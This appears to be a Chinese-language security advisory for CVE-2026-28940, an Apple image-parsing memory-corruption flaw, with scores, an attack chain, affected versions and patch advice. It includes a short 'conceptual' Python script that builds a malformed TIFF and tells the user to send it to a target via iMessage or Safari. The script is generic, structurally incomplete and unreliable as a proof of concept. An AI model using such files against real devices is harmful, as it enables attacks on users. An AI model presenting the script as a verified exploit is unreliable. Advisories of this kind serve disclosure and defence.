IPBUF安全漏洞报告
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CVE-2026-28940 CVSS 7.5 高危

CVE-2026-28940 Apple图像处理内存损坏漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-28940
漏洞类型
内存损坏
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
iOS, iPadOS, macOS, tvOS, visionOS

相关标签

内存损坏AppleiOSmacOSRCE信息泄露

漏洞概述

该漏洞是由于Apple多个操作系统在处理恶意制作的图像时存在内存处理缺陷。攻击者可通过诱导受害者处理特制图像,导致进程内存损坏,从而可能泄露敏感信息。

技术细节

该漏洞的核心在于图像解析库对特定格式图像文件的解析逻辑存在缺陷。当处理包含畸形成像数据的恶意文件时,系统未能正确管理内存分配或边界检查,导致缓冲区溢出或释放后使用(UAF)。攻击者可利用此非交互式的网络攻击向量,通过发送恶意图片或诱导访问特定网页触发解析,进而破坏进程内存。尽管CVSS评分主要反映了机密性影响,但此类内存损坏问题在某些上下文中可能进一步演变为拒绝服务或代码执行风险。

攻击链分析

STEP 1
1. 武器化
攻击者构造包含恶意数据的特制图像文件,利用图像解析组件中的内存处理缺陷。
STEP 2
2. 传递
通过邮件、短信(iMessage)、网页浏览等方式将恶意图像发送给目标用户。
STEP 3
3. 利用
目标设备自动预览或用户打开图像,系统解析组件处理恶意数据时触发内存损坏。
STEP 4
4. 影响
进程内存被破坏,可能导致敏感信息泄露或应用崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-28940 (Conceptual) Generates a malformed image to trigger memory corruption in Apple ImageIO. """ import struct def generate_malicious_image(file_path): # Simulating a malformed image header (e.g., TIFF or JPEG) # This payload attempts to trigger an integer overflow or buffer overflow. # Standard Header header = b"\x49\x49\x2a\x00" # Little-endian TIFF magic bytes # Malicious IFD entry count # Setting a high number to trigger incorrect memory allocation entry_count = struct.pack('<H', 0xFFFF) # Padding to trigger the write payload = b"A" * 1024 with open(file_path, 'wb') as f: f.write(header + entry_count + payload) print(f"[+] Malicious image generated at: {file_path}") print("[+] Send this file to the target device via iMessage or Safari.") if __name__ == "__main__": generate_malicious_image("cve_2026_28940_poc.tif")

影响范围

iOS < 18.7.9
iPadOS < 18.7.9
iOS < 26.5
iPadOS < 26.5
macOS Sequoia < 15.7.7
macOS Tahoe < 26.5
tvOS < 26.5
visionOS < 26.5

防御指南

临时缓解措施
建议用户立即检查系统更新,安装苹果官方发布的安全补丁。在无法立即更新的情况下,应保持警惕,避免处理来自不可信来源的图像文件,并禁用浏览器或应用的自动预览功能。

参考链接

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